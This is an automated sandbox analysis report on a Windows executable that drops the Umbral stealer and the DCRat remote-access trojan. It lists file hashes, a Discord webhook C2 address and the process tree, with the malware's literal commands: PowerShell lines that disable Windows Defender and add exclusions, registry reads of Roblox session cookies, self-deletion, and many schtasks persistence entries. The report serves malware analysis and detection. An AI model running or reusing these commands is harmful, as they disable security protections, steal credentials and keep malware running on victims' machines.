Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    28-06-2024 01:01

General

  • Target

    06b5199b7753075d90d3adf5d33adcef9b1c3254d0471a70c282e2cc1391f1b1.exe

  • Size

    46.0MB

  • MD5

    2bdf60ce1391ccc1a829a41c8b531dd5

  • SHA1

    8fecb37b06dd016f820cbc55c1446aa34666bf12

  • SHA256

    06b5199b7753075d90d3adf5d33adcef9b1c3254d0471a70c282e2cc1391f1b1

  • SHA512

    0091fc481589bb93b2c4352b600220691cd7f0e0ae7979d6cdf4c529db97613d40cf693b01e3b119bc69a3414ba3f700561ee2364474f48a80f2c9763f357359

  • SSDEEP

    24576:f5r3oaR/k4XDG/BcoNWmt2G/nvxW3Ww0tXegr2pdxgLHw8dQefBkrzCL7:dmtbA30XeY6o/QAU+L

Malware Config

Extracted

Family

umbral

C2

https://discordapp.com/api/webhooks/1253005353222668289/_twANrdJlJok9NDlMWHxe2qUewe11QbdTTPK9sqVpjZ9uRjyV2p28YwCPVaWlpRMyL50

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Detect Umbral payload 3 IoCs
  • Process spawned unexpected child process 48 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • DCRat payload 5 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 48 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\06b5199b7753075d90d3adf5d33adcef9b1c3254d0471a70c282e2cc1391f1b1.exe
    "C:\Users\Admin\AppData\Local\Temp\06b5199b7753075d90d3adf5d33adcef9b1c3254d0471a70c282e2cc1391f1b1.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Users\Admin\AppData\Local\Temp\X8Checker 2.6.exe
      "C:\Users\Admin\AppData\Local\Temp\X8Checker 2.6.exe"
      2⤵
      • Executes dropped EXE
      PID:2032
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2984
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:1596
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2952
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2176
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:1528
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2848
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1472
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3028
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:1312
        • C:\Users\Admin\AppData\Local\Temp\8XChecker.exe
          "C:\Users\Admin\AppData\Local\Temp\8XChecker.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2860
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Reviewwinbrokernet\86Wn4vQvMoqlspy5.vbe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2644
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Reviewwinbrokernet\NckHnt5ezZ5X7x5KKKZDHVFQBsAwD.bat" "
              4⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2820
              • C:\Reviewwinbrokernet\bridgefont.exe
                "C:\Reviewwinbrokernet\bridgefont.exe"
                5⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1456
                • C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Umbral.exe
                  "C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Umbral.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2464
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\csrss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2212
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:264
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:484
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "servicess" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\services.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:596
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\services.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2880
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\services.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1728
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Sidebar\csrss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2452
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:908
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Sidebar\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3052
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "UmbralU" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Umbral.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1760
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Umbral" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Umbral.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2116
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "UmbralU" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Umbral.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1680
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\cmd.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:948
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1568
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2020
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1748
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2216
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2836
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\conhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1796
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\conhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1912
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\conhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2292
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\wininit.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1256
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2892
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1972
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\cmd.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2576
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Default User\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2628
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2680
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\csrss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2084
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2668
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\csrss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2732
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\services.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2300
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\services.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1560
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\services.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2780
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\CrashReports\winlogon.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1584
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\CrashReports\winlogon.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2408
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\CrashReports\winlogon.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2152
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\explorer.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1552
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\explorer.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2984
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\explorer.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1980
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\explorer.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2384
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\Default User\explorer.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2824
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\explorer.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1428
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\spoolsv.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2124
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\spoolsv.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2328
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\spoolsv.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2868
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2796
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:872
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1564

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Reviewwinbrokernet\86Wn4vQvMoqlspy5.vbe

        Filesize

        224B

        MD5

        d0546d4e82d204a215d2202b8122bebf

        SHA1

        b4b1c33b5104d1d003670c341908a01cc0a4a09b

        SHA256

        6f1ff6622e86a07eeb4c514424e78f7a9272ba7922de6dcf1df7810f40ab6756

        SHA512

        91d46ca23a26764f516ae273ae54cf689f303e772e954696e7e0ee7794b9b664be0aa2f432f34822b23657fb2c8bc489650f5b4d36e9b8de3d96a6ab864b9925

      • C:\Reviewwinbrokernet\NckHnt5ezZ5X7x5KKKZDHVFQBsAwD.bat

        Filesize

        38B

        MD5

        5ca65390126e266243ff3881f9cfb3f2

        SHA1

        228f50250b0cff6894fcc595c1dc1cbcdfd1b4b6

        SHA256

        ce08fb9623e455e0fd404378ec059c61cbf2c9de162f49c6cf59d244e0cdca54

        SHA512

        4f211680121ea9ce99c9dfa78de84b2d149902a94eda40d88e7e3cc0c2ba1910be157a84cadc4cc6bf36fbcc20f050f0766a30e9bc1481c93a2c45e6b7b7c47b

      • C:\Reviewwinbrokernet\bridgefont.exe

        Filesize

        828KB

        MD5

        b5c2e9124dfa9d37f7b2032b94127a37

        SHA1

        3f162c1dff58ff017d4a95540a220b7355765eb6

        SHA256

        15f729a2209101f7c6ecdaea74121dff0aec9fc1cb6bf3c6a30094af95bc5876

        SHA512

        edfbf86105464cc2cd214ec7da355f120d1913179855270d0a286bab67bc6c354151dc209a1f1e25ad777b523250ed2f1307e4c5e61434038a488f875c921b46

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        ca7ae9e4931b7d571cf3478070da8775

        SHA1

        312c39f3b4961c6650945aadb85581c44589be86

        SHA256

        bcc4dee52c502a8033f905e407a56158a0e09ffa459beb5bca2a13ddebd78942

        SHA512

        1ec26c9bd0ef93026b9cf807ddb2dcefca5fd6bd9961078b506eb31ecc007d58daaa53bf8fdde0de520bd98f97c08456c11c117f1ba15c5c02abc9e5883f9133

      • \Users\Admin\AppData\Local\Temp\8XChecker.exe

        Filesize

        1.1MB

        MD5

        562a032b64898a5f86890120f1a6872b

        SHA1

        2a96ddcf1fc64ec4ab23597cbfce61bed40dd27a

        SHA256

        bb99ec3195fb0a972271667234885e97ff017df9cc64e605f2d5aafb469bd2a3

        SHA512

        871fe5fa1da1df87e909e1f9b1276e9d6a1dcaa0e5da7ed5d2df338f12c1b3ac02442ebd65138cbf7a0eb4b6e9237e806fe844f6dd15e352669fdc50cfa8960b

      • \Users\Admin\AppData\Local\Temp\Umbral.exe

        Filesize

        231KB

        MD5

        ec2aed743841885a579338921df5073b

        SHA1

        8167b69da03e79cc4d013f2b1e2c972a9fa15296

        SHA256

        f3742ed689ca175bd615de562301102cd1bb72f65b3af8660883d5ea31bada2b

        SHA512

        aa4430171bd657439957cd5f3da3babf43725fce801c46377d003cd2f019bbb145eaef5de84e87f8bbf81a679733923ae3c5ff54f55e31cb575e13a4073ccc7c

      • \Users\Admin\AppData\Local\Temp\X8Checker 2.6.exe

        Filesize

        9KB

        MD5

        26abb9e459e5976f658ce80d6433f1b1

        SHA1

        3c8f02c1cf7b8ae82be3deea4b360497f6fee1c3

        SHA256

        60cc77b5d4210cef0a9032908b179142f212155426fdae48055c5f72811f7a12

        SHA512

        c2c02aa1db8036c7309100bb683ec7708fedfb129d763d86e03d9d6adc3688423ec04cb5b596eaf99300787f90d641e53350e1ceed0e8b11d6f29333e04b4ce8

      • memory/1368-38-0x00000000022E0000-0x00000000022E8000-memory.dmp

        Filesize

        32KB

      • memory/1368-37-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

        Filesize

        2.9MB

      • memory/1456-64-0x00000000011A0000-0x0000000001276000-memory.dmp

        Filesize

        856KB

      • memory/1472-109-0x000000001B600000-0x000000001B8E2000-memory.dmp

        Filesize

        2.9MB

      • memory/1472-110-0x00000000022D0000-0x00000000022D8000-memory.dmp

        Filesize

        32KB

      • memory/2032-10-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/2084-22-0x0000000000400000-0x0000000000562000-memory.dmp

        Filesize

        1.4MB

      • memory/2464-121-0x0000000000BC0000-0x0000000000C96000-memory.dmp

        Filesize

        856KB

      • memory/2584-44-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

        Filesize

        2.9MB

      • memory/2584-45-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

        Filesize

        32KB

      • memory/2612-23-0x00000000011C0000-0x0000000001200000-memory.dmp

        Filesize

        256KB

      • memory/2952-74-0x0000000001F00000-0x0000000001F08000-memory.dmp

        Filesize

        32KB

      • memory/2952-73-0x000000001B4A0000-0x000000001B782000-memory.dmp

        Filesize

        2.9MB